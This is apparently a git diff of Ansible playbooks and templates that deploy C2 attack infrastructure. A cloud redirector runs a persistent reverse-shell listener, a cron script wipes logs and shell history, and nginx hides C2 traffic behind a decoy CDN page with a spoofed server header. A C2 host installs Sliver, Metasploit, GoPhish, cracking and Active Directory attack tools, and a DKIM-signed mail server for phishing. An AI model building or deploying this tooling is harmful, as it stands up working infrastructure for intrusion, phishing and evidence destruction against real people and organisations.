default('us-east-1') }}" + instance_type: "{{ size | default('t2.medium') }}" + instance_name: "{{ redirector_name | default('redirector') }}" + domain: "{{ domain | default('example.com') }}" + redirector_subdomain: "cdn" + + tasks: + - name: Set a random AWS region if not specified + set_fact: + selected_aws_region: "{{ aws_region_choices | random }}" + when: aws_region is not defined + + - name: Create an EC2 key pair + amazon.aws.ec2_key: + name: "{{ instance_name }}" + region: "{{ region }}" + state: present + register: key_pair + + - name: Save private key locally + copy: + content: "{{ key_pair.key.private_key }}" + dest: "~/.ssh/{{ instance_name }}.pem" + mode: "0600" + when: key_pair.changed + + - name: Create security group for redirector + amazon.aws.ec2_group: + name: "{{ instance_name }}-sg" + description: "Security group for redirector" + region: "{{ region }}" + rules: + - proto: tcp + ports: + - 22 + - 80 + - 443 + - 4444 # Shell handler port + cidr_ip: 0.0.0.0/0 + rules_egress: + - proto: -1 + cidr_ip: 0.0.0.0/0 + register: redirector_sg + + - name: Launch redirector EC2 instance + amazon.aws.ec2_instance: + name: "{{ instance_name }}" + region: "{{ region }}" + image_id: "{{ ami_map[region] }}" + instance_type: "{{ instance_type }}" + key_name: "{{ instance_name }}" + security_group: "{{ redirector_sg.group_id }}" + network: + assign_public_ip: true + tags: + Name: "{{ instance_name }}" + Role: "redirector" + wait: yes + register: redirector_instance + + - name: Save redirector IP + set_fact: + redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}" + + - name: Wait for SSH to become available + wait_for: + host: "{{ redirector_ip }}" + port: 22 + delay: 10 + timeout: 300 + state: started + + - name: Add redirector to inventory + add_host: + name: redirector + ansible_host: "{{ redirector_ip }}" + ansible_user: "{{ ssh_user | default('kali') }}" + ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem" + groups: redirectors + +- name: Configure redirector + hosts: redirectors + become: true + vars: + domain: "{{ domain | default('example.com') }}" + redirector_subdomain: "cdn" + letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" + zero_logs: "{{ zero_logs | default(true) }}" + shell_handler_port: 4444 + c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" + + tasks: + - name: Update apt cache + apt: + update_cache: yes + + - name: Install required packages + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - socat + - netcat-openbsd + - cryptsetup + - secure-delete + state: present + + - name: Create directories for OPSEC scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/shell-handler + + - name: Create clean-logs.sh script + copy: + content: | + #!/bin/bash + # Zero-logs maintenance script + umask 077 + + # Disable syslog temporarily + systemctl stop rsyslog 2>/dev/null + systemctl stop systemd-journald 2>/dev/null + + # Clear system logs + find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; + find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; + find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; + journalctl --vacuum-time=1s 2>/dev/null + + # Clear bash history + for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null + done + history -c + + # Clear NGINX logs + for nginx_log in /var/log/nginx/*; do + [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null + done + + # Clear temporary directories + rm -rf /tmp/* /var/tmp/* 2>/dev/null + + # Restart logging services + systemctl start systemd-journald 2>/dev/null + systemctl start rsyslog 2>/dev/null + + echo "[+] Log cleaning complete" + exit 0 + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Create shell handler script + copy: + content: | + #!/bin/bash + # Automated shell handler for catching and upgrading reverse shells + + # Configuration + LISTEN_PORT={{ shell_handler_port }} + C2_HOST="{{ c2_ip }}" + + # Set secure permissions + umask 077 + + # Logging function + log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc + } + + # Detect OS function + detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi + } + + # Main shell handler loop + handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection + wait $NC_PID + log "Connection closed, restarting listener..." + rm -f $PIPE_PATH.output + done + } + + # Start the shell handler + handle_connections + dest: /opt/shell-handler/persistent-listener.sh + mode: '0700' + owner: root + group: root + + - name: Create shell handler service + copy: + content: | + [Unit] + Description=Reverse Shell Handler Service + After=network.target + + [Service] + Type=simple + User=root + Group=root + ExecStart=/opt/shell-handler/persistent-listener.sh + Restart=always + RestartSec=10 + + # Hide process information + PrivateTmp=true + ProtectSystem=full + NoNewPrivileges=true + + # Make shell handler hard to find + StandardOutput=null + StandardError=null + + # Environment variables + Environment="C2_HOST={{ c2_ip }}" + Environment="LISTEN_PORT={{ shell_handler_port }}" + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/shell-handler.service + mode: '0644' + owner: root + group: root + + - name: Configure NGINX for zero-logging + copy: + content: | + user www-data; + worker_processes auto; + pid /run/nginx.pid; + include /etc/nginx/modules-enabled/*.conf; + + events { + worker_connections 1024; + multi_accept on; + } + + http { + # Basic Settings + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + # MIME + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Zero-logs configuration + access_log off; + error_log /dev/null crit; + + # SSL Settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + + # Headers to confuse fingerprinting + more_set_headers 'Server: Microsoft-IIS/8.5'; + + # Virtual Host Configs + include /etc/nginx/conf.d/*.conf; + include /etc/nginx/sites-enabled/*; + } + dest: /etc/nginx/nginx.conf + mode: '0644' + owner: root + group: root + when: zero_logs|bool + + - name: Configure NGINX default site for C2 redirection + copy: + content: | + server { + listen 80; + listen [::]:80; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; + } + + server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # SSL Configuration (self-signed until Let's Encrypt is set up) + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Root directory + root /var/www/html; + index index.html; + + # Special URI patterns for C2 traffic + location /ajax/ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Default location + location / { + try_files $uri $uri/ =404; + } + + # Disable logging for this server block + access_log off; + error_log /dev/null crit; + } + + # Catch-all server block + server { + listen 80 default_server; + listen [::]:80 default_server; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; + } + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + + - name: Create legitimate-looking index.html + copy: + content: | + + + + + + {{ redirector_subdomain }} - Content Delivery Network + + + +
+

{{ redirector_subdomain }}.{{ domain }}

+

Enterprise Content Delivery Network

+
+ +
+
+

Welcome to Our CDN

+

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.

+

This is a private service. Unauthorized access is prohibited.

+
+
+ + + dest: /var/www/html/index.html + mode: '0644' + owner: www-data + group: www-data + + - name: Start and enable shell handler service + systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + + - name: Set up cron job for log cleaning + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs|bool + + - name: Install Let's Encrypt certificate if domain specified + shell: | + certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + + - name: Restart NGINX + systemd: + name: nginx + state: restarted \ No newline at end of file diff --git a/FlokiNET/c2.yml b/FlokiNET/c2.yml new file mode 100644 index 0000000..c29c4ce --- /dev/null +++ b/FlokiNET/c2.yml @@ -0,0 +1,410 @@ +--- +- name: Configure FlokiNET C2 server + hosts: c2 + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Install C2 framework and required packages + ansible.builtin.apt: + name: + - curl + - wget + - git + - python3-pip + - python3-virtualenv + - tmux + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + become: true + + - name: Add UFW rules for C2 server (internal only) + ansible.builtin.ufw: + rule: allow + port: "{{ item.port }}" + proto: "{{ item.proto }}" + from_ip: "{{ redirector_ip }}" + with_items: + - { port: 8888, proto: tcp } # C2 HTTP listener + - { port: 50051, proto: tcp } # Sliver gRPC + - { port: 31337, proto: tcp } # Sliver console + - { port: 8443, proto: tcp } # Beacon server + become: true + + - name: Create directories for C2 operation + ansible.builtin.file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + - /opt/payloads + - /root/Tools + become: true + + - name: Copy operational scripts for C2 + ansible.builtin.copy: + src: "../files/{{ item }}" + dest: "/opt/c2/{{ item }}" + mode: '0700' + owner: root + group: root + with_items: + - clean-logs.sh + - secure-exit.sh + - serve-beacons.sh + become: true + + # Tool Installation + - name: Ensure pipx path is configured + ansible.builtin.shell: | + pipx ensurepath + become: true + args: + executable: /bin/bash + + - name: Install tools via pipx + ansible.builtin.shell: | + export PATH=$PATH:/root/.local/bin + pipx ensurepath + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + become: true + args: + executable: /bin/bash + + - name: Download Kerbrute + ansible.builtin.shell: | + mkdir -p /root/Tools/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /root/Tools/Kerbrute/kerbrute + chmod +x /root/Tools/Kerbrute/kerbrute + become: true + args: + executable: /bin/bash + + - name: Clone SharpCollection nightly builds + ansible.builtin.git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: /root/Tools/SharpCollection + version: master + become: true + + - name: Clone PEASS-ng + ansible.builtin.git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: /root/Tools/PEASS-ng + become: true + + - name: Clone MailSniper + ansible.builtin.git: + repo: https://github.com/dafthack/MailSniper.git + dest: /root/Tools/MailSniper + become: true + + - name: Clone Inveigh + ansible.builtin.git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: /root/Tools/Inveigh + become: true + + # C2 Framework Installation + - name: Install Sliver C2 framework + ansible.builtin.shell: | + curl https://sliver.sh/install | bash + args: + creates: /usr/local/bin/sliver-server + become: true + + - name: Configure Sliver service + ansible.builtin.template: + src: templates/sliver-server.service.j2 + dest: /etc/systemd/system/sliver.service + owner: root + group: root + mode: '0644' + become: true + + - name: Start and enable Sliver service + ansible.builtin.systemd: + name: sliver + state: started + enabled: yes + daemon_reload: yes + become: true + + - name: Install Metasploit Framework + ansible.builtin.shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall + chmod 755 /tmp/msfinstall + /tmp/msfinstall + rm /tmp/msfinstall + args: + creates: /opt/metasploit-framework/bin/msfconsole + become: true + + # GoPhish Installation + - name: Grab GoPhish + ansible.builtin.shell: | + curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -O /root/Tools/gophish.zip + unzip /root/Tools/gophish.zip -d /root/Tools/gophish + rm -rf /root/Tools/gophish.zip + chmod +x /root/Tools/gophish/gophish + become: true + args: + executable: /bin/bash + creates: /root/Tools/gophish/gophish + + - name: Deploy Gophish config.json with custom admin port + ansible.builtin.template: + src: templates/gophish-config.j2 + dest: /root/Tools/gophish/config.json + owner: root + group: root + mode: '0644' + become: true + vars: + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + + # Mail Server Configuration + - name: Configure Postfix main.cf + ansible.builtin.lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + become: true + + - name: Configure OpenDKIM + ansible.builtin.lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + become: true + + - name: Create DKIM directory + ansible.builtin.file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + become: true + + - name: Generate DKIM keys + ansible.builtin.command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + become: true + + - name: Set permissions for DKIM keys + ansible.builtin.file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + become: true + + - name: Configure OpenDKIM TrustedHosts + ansible.builtin.copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + become: true + + - name: Enable submission port (587) in master.cf + ansible.builtin.blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + become: true + + - name: Configure Dovecot for Postfix SASL + ansible.builtin.blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + become: true + + - name: Set Dovecot auth_mechanisms + ansible.builtin.lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + become: true + + - name: Create Dovecot password file for SASL authentication + ansible.builtin.file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + become: true + + - name: Add SMTP auth user to Dovecot + ansible.builtin.lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + become: true + + - name: Disable system auth and use passwd-file + ansible.builtin.lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + become: true + + - name: Add auth-passwdfile configuration + ansible.builtin.blockinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: '^auth_mechanisms =' + block: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + become: true + + - name: Create vmail group + ansible.builtin.group: + name: vmail + gid: 5000 + state: present + become: true + + - name: Create vmail user + ansible.builtin.user: + name: vmail + uid: 5000 + group: vmail + create_home: no + become: true + + - name: Restart Postfix + ansible.builtin.service: + name: postfix + state: restarted + become: true + + - name: Restart Dovecot + ansible.builtin.service: + name: dovecot + state: restarted + become: true + + # Beacon Server Configuration + - name: Configure beacon server + ansible.builtin.shell: | + sed -i "s/C2_HOST=.*$/C2_HOST=\"{{ c2_ip }}\"/g" /opt/c2/serve-beacons.sh + chmod +x /opt/c2/serve-beacons.sh + nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & + become: true + + # Set up cron job for log cleaning + - name: Set up cron job for log cleaning + ansible.builtin.cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + become: true + when: zero_logs|bool + + # Install Let's Encrypt certificate if domain specified + - name: Install Let's Encrypt certificate + ansible.builtin.command: > + certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem + become: true + when: domain != "example.com" + + - name: Display C2 server setup information + ansible.builtin.debug: + msg: + - "C2 server setup completed!" + - "IP Address: {{ ansible_host }}" + - "Domain: {{ c2_subdomain }}.{{ domain }}" + - "Sliver C2 listening on port 8888" + - "Beacons server available at http://{{ ansible_host }}:8443/" \ No newline at end of file diff --git a/FlokiNET/provision.yml b/FlokiNET/provision.yml new file mode 100644 index 0000000..0473e38 --- /dev/null +++ b/FlokiNET/provision.yml @@ -0,0 +1,134 @@ +--- +- name: Common provisioning for FlokiNET servers + hosts: all + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Set hostname + ansible.builtin.hostname: + name: "{{ inventory_hostname }}" + become: true + + - name: Update apt cache + ansible.builtin.apt: + update_cache: yes + become: true + + - name: Upgrade all packages + ansible.builtin.apt: + upgrade: dist + become: true + + - name: Install base security packages + ansible.builtin.apt: + name: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban + - secure-delete + state: present + become: true + + - name: Configure UFW + ansible.builtin.ufw: + state: enabled + policy: deny + logging: 'on' + become: true + + - name: Add SSH rule to UFW + ansible.builtin.ufw: + rule: allow + port: "{{ ssh_port }}" + proto: tcp + become: true + + - name: Configure SSH for better security + ansible.builtin.lineinfile: + path: /etc/ssh/sshd_config + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + state: present + with_items: + - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin prohibit-password' } + - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' } + - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' } + - { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding no' } + - { regexp: '^#?Port', line: 'Port {{ ssh_port }}' } + - { regexp: '^#?LogLevel', line: 'LogLevel ERROR' } + - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' } + - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' } + become: true + + - name: Restart SSH service + ansible.builtin.service: + name: ssh + state: restarted + become: true + + - name: Setup directory for operational scripts + ansible.builtin.file: + path: /opt/c2 + state: directory + mode: '0700' + owner: root + group: root + become: true + + - name: Copy operational scripts + ansible.builtin.copy: + src: "../files/{{ item }}" + dest: "/opt/c2/{{ item }}" + mode: '0700' + owner: root + group: root + with_items: + - clean-logs.sh + - secure-exit.sh + become: true + + - name: Setup cron to clean logs + ansible.builtin.cron: + name: "Log cleanup" + minute: "*/{{ log_rotation_hours * 60 }}" + job: "/opt/c2/clean-logs.sh >/dev/null 2>&1" + become: true + when: disable_history | bool + + - name: Disable system history + ansible.builtin.lineinfile: + path: "{{ item }}" + line: "{{ line_item }}" + state: present + create: yes + with_items: + - /etc/profile + - /root/.bashrc + with_nested: + - [ 'export HISTFILESIZE=0', 'export HISTSIZE=0', 'unset HISTFILE' ] + loop_control: + loop_var: line_item + become: true + when: disable_history | bool + + - name: Set memory security measures + ansible.builtin.lineinfile: + path: /etc/sysctl.conf + line: "{{ item }}" + state: present + with_items: + - "vm.swappiness=0" + - "kernel.randomize_va_space=2" + become: true + when: secure_memory | bool + + - name: Apply sysctl settings + ansible.builtin.command: sysctl -p + become: true + when: secure_memory | bool \ No newline at end of file diff --git a/FlokiNET/redirector.yml b/FlokiNET/redirector.yml new file mode 100644 index 0000000..8b3225d --- /dev/null +++ b/FlokiNET/redirector.yml @@ -0,0 +1,118 @@ +--- +- name: Configure FlokiNET redirector server + hosts: redirector + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Install Nginx and required packages + ansible.builtin.apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - socat + - netcat-openbsd + - cryptsetup + - secure-delete + - jq + state: present + become: true + + - name: Add UFW rules for redirector + ansible.builtin.ufw: + rule: allow + port: "{{ item }}" + proto: tcp + with_items: + - 80 + - 443 + - "{{ shell_handler_port }}" + become: true + + - name: Setup directory for shell handler + ansible.builtin.file: + path: /opt/shell-handler + state: directory + mode: '0700' + owner: root + group: root + become: true + + - name: Copy shell handler script + ansible.builtin.copy: + src: "../files/persistent-listener.sh" + dest: "/opt/shell-handler/persistent-listener.sh" + mode: '0700' + owner: root + group: root + become: true + + - name: Configure shell handler service + ansible.builtin.template: + src: templates/shell-handler.service.j2 + dest: /etc/systemd/system/shell-handler.service + owner: root + group: root + mode: '0644' + become: true + + - name: Configure NGINX for zero-logging + ansible.builtin.template: + src: templates/nginx.conf.j2 + dest: /etc/nginx/nginx.conf + owner: root + group: root + mode: '0644' + become: true + + - name: Configure NGINX default site for C2 redirection + ansible.builtin.template: + src: templates/default-site.j2 + dest: /etc/nginx/sites-available/default + owner: root + group: root + mode: '0644' + vars: + domain: "{{ redirector_subdomain }}.{{ domain }}" + c2_host: "{{ c2_ip }}" + become: true + + - name: Create index.html for legitimate-looking website + ansible.builtin.template: + src: templates/index.html.j2 + dest: /var/www/html/index.html + owner: www-data + group: www-data + mode: '0644' + become: true + + - name: Start and enable shell handler service + ansible.builtin.systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + become: true + + - name: Install Let's Encrypt certificate if domain specified + ansible.builtin.command: > + certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem + become: true + when: domain != "example.com" + + - name: Restart Nginx + ansible.builtin.service: + name: nginx + state: restarted + become: true + + - name: Display redirector setup information + ansible.builtin.debug: + msg: + - "Redirector setup completed!" + - "IP Address: {{ ansible_host }}" + - "Domain: {{ redirector_subdomain }}.{{ domain }}" + - "Shell Handler Port: {{ shell_handler_port }}" \ No newline at end of file diff --git a/FlokiNET/templates/default-site.j2 b/FlokiNET/templates/default-site.j2 new file mode 100644 index 0000000..43ed093 --- /dev/null +++ b/FlokiNET/templates/default-site.j2 @@ -0,0 +1,80 @@ +server { + listen 80; + listen [::]:80; + server_name {{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem; + + # Root directory + root /var/www/html; + index index.html; + + # Primary location for legitimate website traffic + location / { + try_files $uri $uri/ =404; + } + + # Special URI patterns for C2 traffic + # These will redirect to the actual C2 server + + # Sliver HTTP C2 channel + location /ajax/ { + proxy_pass http://{{ c2_host }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Static resources that actually redirect to C2 + location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { + proxy_pass http://{{ c2_host }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Additional security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Disable logging for this server block + access_log off; + error_log /dev/null crit; +} + +# Catch-all server block to respond to unknown hosts +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + # Self-signed cert for catch-all + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/FlokiNET/templates/gophish-config.j2 b/FlokiNET/templates/gophish-config.j2 new file mode 100644 index 0000000..0d4efd4 --- /dev/null +++ b/FlokiNET/templates/gophish-config.j2 @@ -0,0 +1,23 @@ +{ + "admin_server": { + "listen_url": "0.0.0.0:{{ gophish_admin_port }}", + "use_tls": true, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem", + "trusted_origins": [] + }, + "phish_server": { + "listen_url": "0.0.0.0:80", + "use_tls": false, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" + }, + "db_name": "sqlite3", + "db_path": "gophish.db", + "migrations_prefix": "db/db_", + "contact_address": "", + "logging": { + "filename": "", + "level": "" + } +} \ No newline at end of file diff --git a/FlokiNET/templates/index.html.j2 b/FlokiNET/templates/index.html.j2 new file mode 100644 index 0000000..7286107 --- /dev/null +++ b/FlokiNET/templates/index.html.j2 @@ -0,0 +1,122 @@ + + + + + + {{ redirector_subdomain }} - Content Delivery Network + + + +
+

{{ redirector_subdomain }}.{{ domain }}

+

Enterprise Content Delivery Network

+
+ +
+
+

Welcome to Our CDN

+

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.

+

This is a private service. Unauthorized access is prohibited.

+
+ +
+

Our Features

+ +
+
1
+
+

Global Distribution

+

Content cached and distributed across multiple geographic locations for minimum latency.

+
+
+ +
+
2
+
+

DDoS Protection

+

Enterprise-grade protection against distributed denial of service attacks.

+
+
+ +
+
3
+
+

Asset Optimization

+

Automatic compression and format optimization for images, scripts, and styles.

+
+
+
+ +
+

Need Access?

+

If you're a client requiring access to our CDN services, please contact your account representative.

+ Contact Sales +
+
+ +
+

© 2025 {{ domain }} CDN Services. All rights reserved.

+
